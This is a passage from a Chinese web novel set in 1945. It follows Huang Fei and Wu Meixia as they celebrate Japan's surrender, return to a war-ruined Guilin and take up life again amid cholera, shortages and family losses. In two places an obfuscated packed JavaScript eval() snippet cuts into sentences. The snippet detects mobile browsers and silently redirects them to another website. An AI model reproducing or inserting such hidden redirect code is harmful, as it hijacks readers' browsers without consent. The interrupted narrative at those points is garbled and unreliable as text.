不过终究是没有奇迹发生,日本人还是败了,想来此时日本国内,那叫一个大厦将倾,各个都如丧考妣,不知怎样哭丧着脸,而中国这边,从九一八事变算起,整整抗战十四年,付出了无数的牺牲,如今终于拨云见日,代价诚然惨痛,但到了日本投降的这一天,一时间感受到的只有欢喜。 这一条鲤鱼在锅里蒸了十几分钟,吴美霞将它端了出来,浇了豉油,又淋了热油,便上了桌,黄菲这边三分钟飞快炒了个小青菜,这一餐午饭就烹调完毕,米饭这时候也熟了,吴美霞叫着清清洗手吃饭,不多时三个人便齐齐围坐在餐桌旁,还不等吃饭,吴美霞便给黄菲倒了一杯酒,黄菲也赶忙给她倒酒,两个人举起酒杯,在空中碰了一碰,吴美霞笑道:“庆祝日本投降!” 黄菲回应道:“中国胜利了!” 然后便将杯子里的酒一饮而尽。 吴美霞又倒酒,给两个人都满上,举杯对着黄菲说:“妹妹,这些日子多亏有你,许多事靠你帮忙,不然日子太过为难。” 这是真心话,这一年来的避难生活,倘若是自己一个人带着女儿,虽然也能顶得过来,然而太吃力,有黄菲,自己的担子能够减轻许多。 黄菲笑道:“姐姐太客气,我们是互相照应。” 将这杯酒也喝了,轮到黄菲给吴美霞敬酒:“愿姐妹情深长久。” 于是又是一杯。 第三杯酒也喝了,到这时吴美霞笑着说道:“看你的脸红成这样,着实不能再喝,空心酒容易醉,赶快吃饭垫一垫。” 黄菲一笑:“姐姐的脸也红呢。” 吴美霞抿嘴一笑,拿起筷子便夹了一条青菜,黄菲挑了一点米饭送进口中,转头看到清清在吃鱼,便笑着对清清说:“吃鱼肋这里的肉,刺少。” 鱼脊背上的肉倒是更厚实,不过鱼刺多,而且多是小刺,孩子吃这个部位的肉,稍不留神就会给鱼刺卡在食道里,鱼肋则是只有几条长刺,很容易剔除掉,肉偏薄一点,不过更细腻,蘸着汤汁也更有味道。 吴美霞吃了几口饭菜,将那酒劲压了一压,觉得头不那样晕了,便又高兴起来,两眼放光,满口说着桂林的山,桂林的水,桂林的房子,还有桂林街头巷尾的杂食摊子,比如马蹄糕啦,米粉啦,早饭吃甜酒汤圆很可以换换口味,午睡后一碟臭豆腐提神醒脑,冬天里吃烤白薯,如同捧了个小炭炉在手中,半点不冷了,糖炒栗子着实不错,只可惜壳有点难剥,若要多吃,便费手指,指甲都剥秃了呢。 黄菲则纵情唱了起来: “……千山万壑,铜壁铁墙! 抗日的烽火,燃烧在太行山上! 气焰千万丈! 听吧! 母亲叫儿打东洋,妻子送郎上战场。 我们在太行山上,我们在太行山上; 山高林又密,兵强马又壮!” 吴美霞也高唱起来,两个人你一段我一段,一连唱了十几支歌,到后来,黄菲竟然把女大的校歌都唱了出来,吴美霞醉眼朦胧,这一回全没有留意,只是嘻嘻地笑,眼睛眯得弯弯地望着她,旁边清清拍着手笑道:“妈妈醉鬼!妈妈醉鬼!” 这一天两个人从中午开始,又是说又是唱,中间又来客人,就这样断断续续一直喝到夜间,桌面杯盘狼藉,也顾不得收拾,都丢在那里,只顾兴奋地说话,到了十一点多,实在支撑不住,草草洗了脸又刷牙,便脱了衣服胡乱睡了,这一觉睡得迷迷糊糊,并不十分踏实,到第二天清晨醒来,都感到头疼仍未全消。 黄菲勉强爬起身,一看床头的手表:“呀,已经八点多了。” 旁边床上吴美霞哼哼了两声,扶着头半撑起身体:“好该弄早饭来吃,” 睡在床里边的清清很是委屈地说:“妈妈,我饿!” 听了这一声,吴美霞一骨碌翻身坐起:“这就做饭了。” 说着身体还晃了两晃。 黄菲也赶忙起身,先收拾昨夜的残局,清洗盘碗,吴美霞这时候已经去了厨房,淘米刷锅,把米投入锅中煮粥,这边又洗菜搅鸡蛋,半个多小时之后,喝着鲜咸的青菜鸡蛋粥,黄菲感到,很能够醒酒。 一边喝粥,吴美霞与黄菲一边继续昨天的话题: “八月十五号日本就投降了,今天已经是二十号,我们什么时候能回桂林?” “政府还没有和我们说可以回去,自己又不太好回去的,只好先等一等。” “我是耐不得,反正日本已经投降了,这个时候哪怕是自己赶路,鬼子还能怎么样?” 吴美霞见黄菲如此心急,便劝道:“还是先等等再说,虽然鬼子不打了,可是外面还是兵荒马乱……” 虽然吴美霞没有明说,不过黄菲也明白她的意思,这些年的仗打下来,人间是各路诸侯啊,正牌子的军队还好些,就怕好些杂牌子的,虽然也抗日,不过若是不对着日本人,便和土匪也没什么两样,已经听说了几桩事,强行下聘,硬要娶人家的女儿,又或者竟然把路过的女学生扣住不放。 自己这边两个女人带着一个孩子,这样子上路,难讲会不会发生意外,所以稳妥起见,最好还是等政府的消息,大家一起走比较安心些。 于是黄菲虽然实在焦急,却也只能等,就这样等啊等啊,每天把行李装好又拆开,拆开又装好,从确知消息的第二天就开始折腾行李,一直烦乱到九月,政府的通知才终于传了过来,可以回去了,于是早已焦躁得不行的省府眷属登时兴奋起来,每个人都是格外地忙乱,巴不得插上翅膀,一下子就飞回家乡。 黄菲与吴美霞也是如此,行李本已经整理过许多遍,这次再最后爬梳一番,有些不必要的东西就不带了,比如那几本小说,虽然房东也是不会看的,房东是壮族人,好在城镇里人多数会说官话,两边才不至于语言不通,不过房东不很认识汉字,这几本书留了给她,想来不过是当引火纸,然而已经是翻得快烂了的小说,也实在不想再带,长途跋涉,衣服食物都背不过来呢,越是走路,身上的东西就越觉得沉重,来的时候已是体验过一番,回程着实不想经历第二遍,想一想就头皮发麻。 在凌云避难的人们都是把行李精简了再精简,能不带的就不带了,全都留给了本地人,轻装出发,吴美霞与黄菲这一日也是背着包裹,一左一右领着清清,走出凌云县城,虽有些依依不舍,临去时回顾一眼,然而想到别离一年的桂林,登时便又是心头长草,顾不得体味这离去时的情绪,匆匆便踏上去往百色的道路。 返回的途程比来时要顺畅许多,起码不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344766|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必一路辗转,她们从百色过河池,终于到了柳州,进城已经是傍晚,该寻找住宿的地方,沿街而走,经过乐群社,是柳州出名的旅馆,西洋风格的建筑,当初离开桂林的时候,从柳州经过,也曾经看到过的,只可惜以自家的财产与身份,难以入住,当时望着乐群社漂亮的楼房,满怀羡慕地很是感叹了几句: “你看有小汽车停在门前,不知是哪位大官的太太。” “什么时候我们也能够到这样的旅馆去住几天。” 然而此时再看到乐群社,已经是面目全非,到处都是碎砖,各种凌乱的杂物四处抛掷,简直就像一个垃圾堆,倒是依然有人住在这里,有西装革履的人进出,还看到有外国人,是昂然的美国军官,想来乐群社纵然如此光景,仍然算是柳州有品位的旅馆,可依然是惨,一年前的向往,到这时所剩无几,只有对往昔光彩的追忆。 吴美霞叹息着说:“乐群社啊,怎么竟然变成这个样子?” 黄菲往四面一看:“姐姐你看这里的人,我们这还是战胜国呢!” 道路旁草棚里住着人,棚子前的竹竿上挂着晾晒的衣服,虽然柳州已经光复,可是人们无家可归,大半城市都已摧毁,又有瘟疫,还没进入柳州,路上就听说,这里霍乱流行,当时真的想绕城而过,然而那样走的路就太远了,只好依然是从城中经过。 望着街边送瘟神的热油锅,吴美霞幽幽地说:“也不知道日本如今是什么样子。” 听说挨了两颗奇大无比的炸弹,给毁了两座城呢。 柳州是如此令人恐慌,她们只在这里住了一天,第二天便赶快走了,路上很幸运,搭上了一辆运送军需的卡车,所以第四天,遥遥就望见了桂林城。 黄菲眼望着前方象鼻山上的普贤塔,无限神往地说:“啊,桂林,我们终于回来了!” 旁边一个押车的士兵吸着烟,噗嗤一乐:“小姐,不要这么早就高兴哦,等你到了那里就知道了,和柳州差不了多少。” 黄菲听了,心头登时便是一沉,吴美霞的面色也暗淡下来,问着他:“桂林也给毁得不成样子了么?” 那个国军士兵摇头晃脑:“太太,你猜也猜得到,日本人眼看保不住桂林,要撤退的时候会怎么样?” 吴美霞本来还怀抱着一线希望,到这时一颗心也不由得凉了半截。 那个二十出头的年轻国军坐在麻袋上,望着她们两个,又瞥了瞥清清,不住地笑,真的是很有意思的人,尤其是这位小姐,太有趣了,身上穿的和脚上的很不搭调,自己纳闷半天了,眼看要到地头,实在耐不住,一定要问出来:“小姐,你从前是当过兵,还是怎么?” 黄菲微微一愣:“啊,为什么要这样问?” 那士兵咯咯地乐:“你这穿着草鞋呢,绑腿也打得很不错。” 虽然上身是绣花衫子,还是喇叭袖的,不过下面是青布裤,小腿缠着绑腿,脚下居然是一双草鞋,实在是太怪了,她把上面那衣衫换一换,再戴一顶帽子,直接就能进队伍。 国军中也有女兵的,救护队里面很多见,另外还有搞情报的,有一次自己去师部,看到那里的电报员,是女兵,所以这年头女人当兵,也不稀奇,这位黄小姐这个样子,与那些女兵很有点像,倘若真的编入军队里,大约只要简单训练一番,就可以上阵了。 黄菲轻轻一笑:“走这么远的路,这样轻便些。” 旁边清清脱口而出:“我表姨去过延安!” 吴美霞的手掌心立刻就拍在了她的脑袋瓜上:“别乱说。” 清清满不服气地扬起脸:“去延安又怎么?别人都去不了呢,表姨就是有本事,什么都会,会编草鞋,还会防投毒!” 国军的那个士兵登时有一点目瞪口呆,望着黄菲便有点发愣,去过延安啊,这可不一般,难怪是这副做派,也不知在延安是受过怎样的训练。 然后便谈起延安,在延安是怎样的生活,清清是很为黄菲的延安经历感到自豪,那士兵没有太多的政治观念,只当做听稀奇,吴美霞到这时也难以阻止,黄菲一看,既然这样,索性都说了吧,便也无所谓,讲起当年在女子大学,清早去延河边出操,白天黑夜演习行军,紧急集合,自己的绑腿行军回来便都散了,说着说着,眉飞色舞,那个国军听得也是津津有味,心道原来练过这些,那确实是可以直接补充进队伍里,到后来吴美霞也含笑听着,觉得很有意思。 她们正聊得热闹,忽然卡车“戛”地一下停住,一个二十六七岁的军官从副驾驶位跳下来,对她们说:“桂林到了,太太小姐们,下车吧。” 36. 第三十六章 离乱之后 第三十六章 离乱之后 这一天的下午,三个人终于回到了桂林,桂林,虽然只是离开了一年,但在她们心中,却仿佛已经阔别多年,十分遥远的了,再一看城内的情形,更加是沧海桑田。 黄菲牵着清清的小手,在街头慢慢走着,到处都是砖头瓦砾,仿佛经过剧烈的轰炸,残存未倒的墙壁上,绘着壁画,村人骑着牛,中间是两个士兵的形象,一个是国军,另一个是日军,旁边写着大字,“中日合作,共存共荣”,是日本的宣传画,“大东亚共荣圈”的理论,自从抗战以来已经听得很多了。 交通银行已经给炸得只剩下几堵墙了,倒是还有日语茶寮的标志还印在上面,路上听人说,中正桥给炸毁了,一路往吴美霞的家中走去,路过教堂,教堂也已经只剩废墟,有逃难的人坐在未倒的墙根下,显然也已经是没了家。 来到吴美霞的家门前,只见与别处一样,也已经是一片灰烬,吴美霞登时便流下泪来:“这么远赶回来,家却没了。” 黄菲扶着她,劝道:“姐姐,只要人在,什么都会再有的。咱们再去我那边看看。” 于是便又转去黄菲的寓所,经过广西银行总行,黄菲仰头一看,倒是比交通银行好些,毕竟还剩了个架子在这里,立柱上还留有前些天市民写的毛笔字:欢迎最先光复桂林的二九军一六九师突击大队。 终于来到黄菲的住处,黄菲抬头一看,伸手便按住了胸口,自己那一间窄楼,居然奇迹般依然保留着,虽然门上的锁早已经给人弄掉,大门也掉了,房屋如同山洞一般,张着一个黑洞洞的口,但房子毕竟还存在。 黄菲心头一阵庆幸,转头对吴美霞说:“姐姐,我们进去看看。” 到了里面,黄菲一看,果然也是一片狼藉,原来不知曾经住进什么人,破纸碎瓷片丢了满地,楼梯也有几级断裂了,黄菲小心翼翼踩着楼梯上去,还叮嘱吴美霞与清清:“小心些,这里断掉了,要赶快找木板来修一修。” 当天,三个人都住在黄菲的这间小公寓,晚间睡得十分不安,一楼大门是敞开的,只有二楼的卧室门可以闩上,桂林如今虽说是光复了,然而各处都是失去家园,流离失所的人,难保会不会深夜有人闯入。 之后的一个礼拜,三人都是同住,黄菲出去在废墟上拾了几块木板,找了钉子,用石块将楼梯勉强钉上,只是大门实在难修,吴美霞则是携着清清,回到自家那一片废墟上翻动砖瓦,看看下面还有没有留着可用的东西,找来找去,只找到一条烧焦的毛毯,还有几件残破的衣裳,吴美霞也把它们都带了回来,天气不多久就要冷了,这些都是用得着的。 几天之后,顾泰也来到桂林,便是四个人挤住在这一间小楼,顾泰便睡在一楼,黄菲与吴美霞带着清清睡在二楼,黄菲这时候又找来几块大木板,将就钉了一扇门,木头门框上钉了钉子,用绳子把门拴在上面,这一下总算避免豁然洞开,那样心中太过不安,顾泰则是拿来一些白米,还有一把锯子和一只锤子。 这一天大家一起吃晚饭,桌子上点着蜡烛照明,桂林虽然是光复了,然而经过这一场浩劫,到目前水电都没有,水要自己去挑,当天色暗下来之后,要看清周围,只能靠蜡烛油灯,黄菲曾经开玩笑:“好像住在乡下一样。” 此时吴美霞叹道:“已经光复了差不多两个月,到现在依然是这样,没得吃没得住,我看到曾经的阔太太都是住板壁房,不过能遮风挡雨罢了。” 黄菲道:“砖瓦铁钉卖得很贵,连木板竹竿也都是好的。” 顾泰皱眉:“日本人走一路毁一路,广西现在已经没剩多少好地方,现在什么都缺,若要重新恢复,可得几年工夫,鬼子可真是害人!” 吴美霞忧虑地说:“如今只但愿不要再打仗,政府和共产党正在谈着,也不知会谈得如何?” 顾泰道:“谁知道呢?现在各界都希望和平,只愿双方能够以国家为重,多多关注民生,实在禁不起再一次消耗了,咱们中国历史上虽然少有这样的先例,南北朝共存的,若是能从这一回开启,倒也是一件幸事,写在史书里,未来会很了不起的。” 黄菲应声道:“延安一向是呼吁合作的,最是珍惜和平,这一次谈判,一定是真诚的。” 顾泰无可无不可地“嗯嗯”了两声,暗道中共啊,那可也不是省油的灯,谁如果弱势,当然是满口呼唤和平,主张合作,倘若强了起来,只怕也未必还是原来的脸色,经过这些年的抗战,中共已经是今非昔比,虽然还差了一些,但俨然已经可以分庭抗礼,现在中共是个什么心思,谁也难猜。 顾泰然后又说:“刚刚找到一家亲戚,她家已经搭起房子,我们在这里住了这么久,很是打扰,也不方便,所以我和美霞商量过,明天便搬过去吧。” 黄菲想了一想,道:“那样也好,这里实在太小,住不开,你们搬去什么地方?给我一个地址,我过去看你们。” 顾泰便找出一张纸片,把地址写了给她,其实现在也没有什么门牌号,就是在哪一条街上,附近是从前的什么地方,也就罢了。 于是第二日,顾泰找了一辆车来,把这一点家当拖了过去,清清坐在车上,与黄菲依依惜别:“姨妈,你一定要来看我啊!” 黄菲笑道:“又不是千里万里,不过几里路罢了,我明天就上门去看我们的清清。” 吴美霞眼圈也有些发红:“妹妹,千万要来,我得空便也过来看你。” 黄菲笑嘻嘻地说:“姐姐尽管放心,以后时不时就过去讨一碗茶喝。” 送走了她们,黄菲回了寓所,关上了门,进入梅林,坐在树下,重重地吁了一口气,共处一年,此时分别了,虽然是不舍,但到了这时,自己也终于能够完全放松下来,得以静静地想一想事情,避难的这一年多,整天都是忙乱,心头便也乱糟糟,患难与共之中得见人情温暖,不过自己确实也需要一个人静静。 不过像这样悠闲独处的时间毕竟不会很多,在这样一片荒芜、百废待兴的时候,黄菲没有太多时间这样地静静思量,次日上午,她循着地址,去探望了吴美霞和清清,下午就开始在街头做起生意,售卖的是木板。 桂林重建,最需要的自然是食物,此外就是建筑用的材料,砖瓦方面,黄菲是不能施展,然而木料她是有办法的,顾泰将锤子和锯子都留下来,黄菲便用锯条伐木,又锯成了粗糙的木板,可惜她是没有刨子,不能够刨得平滑,上面全是毛刺,不过这样的粗木板在如今的桂林,也是为人所抢购的,因此黄菲便每日里伐木,第二天清早背了几块木板,到街头售卖,也给她换得了几个钱。 其实假如可以,黄菲是宁愿摆个小摊,卖食物的,然而过去的一年时间,菜田都没有耕种,马铃薯南瓜之类没有收获,采集蘑菇毕竟数量有限,羊只有小小一群,不足以每天宰一只羊,到街头卖羊肉汤,若是套兔子和野鸡呢,又是不能确保每天都有猎物,所以若要稳定的收入,便是兜售木材。 参天古木太难伐倒,黄菲就选一些不很粗大的,将它锯倒,还要留心不要砸到自己,树倒下之后,将它又锯成两三段,再锯成板,第二天拿到街头去卖,能够换来买米的钱,如今不同于逃亡之前,那段神仙洞般的日子是不能再过了,果然假期只是短暂的,生活还是需要每天的努力。 到了十一月,越来越多的人返回桂林,这一天黄菲刚刚回到家中,就有人拍她的门,黄菲开门一看,原来是东妹。 两个人一相见,登时便拥抱在了一起,黄菲道:“一直在念着你,总算是见着了!” 东妹道:“我今早来过一次,拍了半天的门,都没有人应,旁边的邻居说,你要到下午才回来,我便在这时候来了。” 黄菲连忙道:“快进来坐!” 把东妹请进房间里,便赶快点燃炉火烧茶水:“我前些时回了詹妈妈的家,其她人都好,就只二哥哥给日本人杀死了。” 东妹的眼眶登时红了,背过身去用手抹了两下:“我也是刚知道了,可恨的鬼子,二哥那么老实的一个人,为什么要害他?” 然后又问:“听妈妈说,你家里都还好,真是万幸。” 黄菲点头:“黄老爷好在是逃得早,全家平安。” 在桂林休息了两天之后,特意回平乐故乡,悄悄地进了家门,见到了母亲,母女两个抱头痛哭,哥哥嫂嫂还有年幼的小姪女都平安无事,只是藏在夹墙中的财物给日本人搜了出来,金银之类全都席卷而空,绸缎字画则是丢的丢,毁的毁,损失惨重,母亲伤感完了这一年多的逃难艰辛,就是捶胸顿足哀叹自己没了的这些好东西,当时黄菲劝道:“妈妈,心胸放开些,钱财都是身外物,人没事是最好的,钱以后还可以再赚。” 母亲紧蹙双眉:“儿啊,你说的这些,我何尝不知道,倘若是咱们家里少了谁呢,我自然顾不上心疼钱,纵然心疼,也是有限,可是现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344767|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的小的人头都齐整,并不曾少了哪个,钱却没了,让我怎么能不疼?要说赚钱,‘千金散尽还复来’的句子念起来倒是豪迈,只可惜钱财的积聚哪里是一天两天的事?况且咱们家里,要么是女人,要么是病人,你哥哥的身体经过这一场折腾,是愈发不行了,更不要说当今这世界,一个乾坤烧毁了半个,人人都只顾忙着找饭吃,吃饭都顾不过来,咱们可是哪里弄钱去?” 若是在几年前,听了母亲这话,黄菲定然要不服,立誓在职业上超人一等,一定要赚许多的钱,给人看着荣耀光彩,可是此时她只是微微摇头,劝慰道:“妈,纵然不能回复从前的日子,只要手脚勤力一些,茶饭还是不愁的,我这回带了一些钱来,还有一点干菜,虽然微薄,略可补贴一点家用。” 是从前积攒下的银元,都放在梅林之中,并没有损失,这次黄菲拿了一半过来,另外还有一包干蘑,煮汤可以喝两餐。 看到这一小包银元,卢兰玉心头登时一暖,然而她想了一想,摇头道:“幼蕊啊,你有这番心意就好,干菜留下来,钱拿回去吧,我们再怎样难,毕竟是一家人在一起,你一个人孤身在外,除了钱,也少有依靠,留一点钱财傍身,缓急也有个倚仗,我的儿,你是有家难回!” 说着眼泪便又流了下来。 嫂嫂傅传芳也在旁边抹眼泪,这便是“兔死狐悲,物伤其类”,看看小姑,就想到了自己,离了娘家,来到丈夫的家,虽然这大宅子之中除了那几位古怪,其她人也还不错了,却总难免一种漂泊感。 黄瑞成也已经支撑着身体,赶过来见妹妹,这时候捶胸叹道:“小妹,你把钱收回去,你这样子,让我格外惭愧,我是作哥哥的,本来应该奉养母亲,照顾妹妹,可如今却要妹妹来操心家里,实在是我无能,我只恨自己的身体,如此的不争气,让我有怎样要强的心,都是徒然。” 黄瑞成一生最大的遗憾,就是这病弱的身体,就因为自己体弱,本来便不受重视的长房,便更加给父亲漠视,这一次逃亡更加明显了,父亲根本就不在意这边,一路都是母亲与妻子在张罗,回来之后,老宅给烧了大半,父亲便让庶长子瑞安收拾整理,各种账目也都交在三姨太母子那边,眼看着这家业就要落在三房手中,不由得便让他如坐针毡。 黄菲一笑:“妈妈,我毕竟是您的女儿,女儿孝养母亲,也是天经地义;哥哥,如今讲男女平权,女子也是家里的人,也有一份责任在身,当初是哥哥教给我革命的道理,如今怎么还落了旧套?” 一说到当年,自己与妹妹讲谈的革命理论,黄瑞成便一阵唏嘘,仿佛梦幻一般:“妹妹啊,如今才知道,当初自己实在是太天真,太幼稚,空有一番热血,却不过是给人做了燃烧的材料,如今说起来,倒是我坑害了你,你若是不知道那些说法,循着千年的老路过一生,其实也未必就是不好,又何必一定要睁开眼醒来呢?醒了过来,一番挣扎,究竟又得了些什么呢?如今落得一个人在外面,革命者不是革命者,旧女性也不是旧女性,这到底是图什么呢?” 黄菲一听,这俨然便是鲁迅先生的铁屋子争论,一个铁屋子里一群熟睡的人,很快就都要死了,要不要唤醒她们?而就是醒过来,也未必能破屋而出,只不过白白痛苦罢了。 黄菲想了一想,说道:“我宁愿要醒着的痛苦,不愿要睡梦中的幸福。” 那是虚幻的,是不真实的,黄菲知道,各人选择不同,并不是每个人都会赞同自己的意见,但自己确实不愿醉生梦死。 那一笔钱最终是留给了家里,彼此又叮咛了一番留神霍乱,柳州霍乱流行,桂林也没能幸免,每当入了夜,大街小巷静悄悄,纵然光复了,也仿佛鬼城,这种时候一定要谨慎,水要烧开来再喝,取水也要洁净,当说到这里,宁妈妈进来竖起一根手指在嘴唇前,“嘘”了一声,“老爷回来了,刚进了大门”,黄菲便站起来,从后门悄悄走了。 此时与东妹讲了一番家里的事,两个人劫后余生,都是无限感叹,说着说着,东妹忽然一拍大腿,惊呼道:“啊呀,幺姐,差一点忘了和你说,我家太太的那几十匹绸缎,给日本人一把火烧了!” 黄菲也惊讶:“啊,竟然是这样么?太太临去的时候,不是把它们藏得好好的?” 东妹摊开两手哀叹:“可不是么,都收在了山里,哪知仍是给鬼子找了出来,全都烧掉了,太太回桂林,一听说这件事,整天在家里面哭!蚀了本啊!” 37. 第三十七章 尔惟盐梅 第三十七章 尔惟盐梅 要说抗战时期的阔太太们,在桂林这一个诡异的桃源,确实享受了好一阵的摩登生活,烫头看戏请吃饭,神仙一样的日子,不过她们倒是也并不仅止于此,不是只顾享福的,也是有增值财富的心,各自想法子囤货,有囤棉纱的,有囤白米的,有囤菜油的,等着未来价格高企,自己可以大赚一笔。 白明珠是个精细能干的人,自然也动了脑筋,那些旧式的夫人太太况且想法子攒私房,更何况她这样受过新式教育的,就如同美龄夫人发起的新生活运动所说的,“耻养于人,自食其力”,她想着自己当初在学校里,和同学们是怎么议论的? “要作女界的先锋,靠自己的本领来谋生活,不能向丈夫掌心向上,伸手要钱,那样的话,我们这些受过教育的新女性,与从前依附男人的女子有什么区别?” 到后来自己终究是成了太太了,并没有在社会上谋职业,生活倒也是滋润,毕竟是富贵人家,而且其实也并不是无所事事,要管理家事,监督佣人,计算账目,平衡开支,交际往来,联络亲朋,还有极其重要的一项,就是督导子女的课业,所以太太这个职位倘若认真做起来,责任也是很重的,比如《红楼梦》里的王熙凤,整天不得闲,忙到小产。 只是无论怎样风光安乐,周围的人又是怎样称赞“内助”——新式的太太就是不一样,很能够适应时代,旧式太太做不来的事,比如与洋人交往,受过新式教育的太太就能做——白明珠心中却总是隐隐地感觉有些不足,自己当年的志向啊,莫非就这样作了镜花水月?又有些惭愧,从前自负进步,顶看不起那些靠着男人吃饭的女人,如今自己虽说是为家庭出力,并不是只供观赏的金丝雀,然而再看一看街头那些挑担卖菜的,摆个小摊子卖杂食的,虽然是贫苦,虽然是不识字,却都是自己赚钱养自己,倒仿佛比自己还要先进一些,每当想起这些,便感觉有一根刺扎在心中。 所以太太们请客吃饭的时候,吃着水果闲谈,大家说起要怎样生财,“囤这个,囤那个”,白明珠当时便心动,只是她的思想毕竟是比别人高出一筹,虽然心痒,却仍有所顾虑:“如今抗战正吃紧,政府不许囤积居奇,扰乱市场,我们这样做,是不是不太好?” 一位老朋友就笑起来,瓜子皮吐在地上:“啊哟我的好太太,亏你想这么多,你手里才几个钱?丢到水里去,都不够听响动,你看那些大腹贾,大把大把炒黄金,又炒这个炒那个,但凡给他们看上了什么,什么东西便要大涨起来,让人都买不起,那才叫扰乱,你这几个私房进了市场,就好像把茶壶里的水倒进东洋大海里,都不起半点波浪的。我是好意,才会劝你,你守着那些纸票票,如今物价一天涨过一天,将来糊墙都嫌它麻烦,不如也买点东西存起来,将来纵然怎么,多少也剩有实物在手,比留了一堆废纸强,赵钱孙李,听不听随你。” 这位太太也爱读《金瓶梅》,有时候说话就要带出两句。 另外她说完这一长篇话,肚内也在思量,真不愧是读过新书的,想的事情就是与旁人不一样,还这么高风亮节哩,想着不要扰乱市场。 白明珠也是个玲珑剔透的,当时便一笑:“听我家先生说,如今查得严,只怕给人抓到了,不好脱身。” 另一位太太便道:“你家有人朝上做官,怕什么?况且我们不过是一点闲钱买些东西存,少吃些物价上涨的亏,比不得那些翻手为云覆手为雨的,若是连这一点点脂粉钱都要查,那可真的是‘杀鸡骇猴’,专拿我们做人情哩!” 白明珠听了,也觉得有道理,实在是想要自己赚钱,这一番辩护又免了道德上的负担,于是便与几位好友太太合在一起,买了绸缎,想着仗打得这样久,绸缎这种东西将来必然值钱,到那时不但自己得益,与丈夫说起来也有面子,哪知日本人后来竟打到桂林来了,一家人临去重庆的时候,白明珠找了人,把这些东西收藏在山区,却仍旧给日本人找到了,一把火烧得精光,白明珠回来后,扼腕捶胸,自己的私房啊,大半赔了进去。 此时听东妹绘声绘色的讲说,黄菲也是心有戚戚,自己好在是有梅林,离开桂林的时候,把多数家当都放了进去,因此在这样混乱的时局,竟然没有太大的损失,比如那一包银元,就分毫都没有损失,让人不由得便要说一声,谢天谢地。 桂林十一月的天气,还清爽宜人,然而到了十二月,尤其是下旬,气温便陡然降到极低,必须要穿棉袍了。 这一天黄菲提了一些东西,去探望吴美霞,吴美霞这时候已经搬了出来,一家三人单独居住,也是住板房,在屋内听到有人拍门,忙放下书本,过来开了门,见是黄菲,很是高兴:“啊呀,好一阵不见了,这么冷的天,你还来了,清清昨天还念着你,只盼你能来!” 黄菲笑着把手里的东西提到她的面前:“好容易等到姐姐的礼拜,总算能来叨扰,就在姐姐家里吃饭了,省了我自己做。” 吴美霞一看她的手上,登时拍手笑起来:“啊哟,是野鸡,这可要焖上好一阵,焖得透透的,才好吃,深冬吃上这样一锅野鸡汤,最让人暖和。” 两个人于是就进了门,黄菲到来的时候,已经是午后两点,那野鸡乃是活的,到了之后先要杀鸡,烫拔鸡毛,把野鸡斩成了块,放进锅里。 吴美霞家中到这时,一些物品已经置办了,有一个泥风炉,里面点上炭火,上面放一口砂锅,那鸡便与干蘑干笋一起,放在里面慢慢地煨炖,吴美霞还感叹:“可惜没有酒,若是能有一点米酒,放在这汤里面,那味道才叫醇厚,喝了那样的野鸡汤,保管你再不想什么琼浆玉液,人参汤都不换呢。” 黄菲笑道:“可说世间难有十全十美,以姐姐的手艺,这样一锅鸡汤定然也美味,让人满足。” 然后黄菲搂着清清,望着吴美霞桌上摊开的书,笑着问:“姐姐如今是又回到学校了,重执教鞭,感受想来良多?” 吴美霞叹道:“这些年离开了课堂,再给人家讲课,便感觉很是生疏。” 黄菲噗嗤一乐:“好在当初在凌云,姐姐招了一些小弟子,开班授课,事先便温习了这一门职业。” 吴美霞微笑摇头:“这一回是在中学,当初胡乱教几个小孩子识字做算术,怎么能比呢?我现在是满心忐忑呢,只怕教不好,让我回来,那可是贻笑于人,在家几年重回社会,倘若落得那样的结果,自己都灰了心,再不敢出去了。” 黄菲忙鼓励她:“姐姐的学问是好的,教学生也很有办法,想来不会如此。” 桂林光复后,德智中学迁回甲山,吴美霞托人在那里谋了个教职,上个月中旬,重新站回讲台上,便当了□□。 要说这一所德智中学,来历却是不凡,是广西女界的名流郭德洁创办,郭德洁的丈夫便是桂系著名将领李宗仁。 作为广西本地人,黄菲对郭德洁也是闻名已久,当年读谢冰莹的《从军日记》,自己便向往那种火热的生活,而郭德洁是亲身参加过北伐,担任广西妇女工作队的队长,率领一群女队员向北开进,据说她当年出征的那天,桂平城内万人空巷,男女老少都来看这位女军人,而且郭德洁热心公益,抗战之后,桂林有许多孤儿,郭德洁便办了儿童福利院,收容这些无家可归的孩子,又办德智中学,自己担任校长,德智中学校风严谨,对课业很认真的,未来想必有许多大家学者出身于此。 郭德洁女士的人生传奇,在桂林是茶余饭后的谈资,说起来堪比那些出名的评书,甚至黄菲刚刚回来平乐的时候,大姐菊霜还拿她的例子来劝导过黄菲:“你总是嫌当太太是没落了,颓唐没了前路,可是你看看郭夫人,人家不是好好的?又是办福利院,又是办学校,像是那些立誓不肯嫁人的,倒是有志气,可是又做了些什么?连自家的饭碗都保不牢呢。所以说啊,当太太未必就不好,只看怎样当,若是有胸怀有志向的呢,找一个大英雄作丈夫,自己当一个有身份的夫人,便能做许多事情,为女界增光。” 黄菲当时给她说得头昏脑涨,只觉得似是而非,真要辩论,却又一时间不知该怎样辩起,这时候倒是母亲撇了撇嘴,说了一句:“我倒是听说,那位郭夫人她,不是原配。” 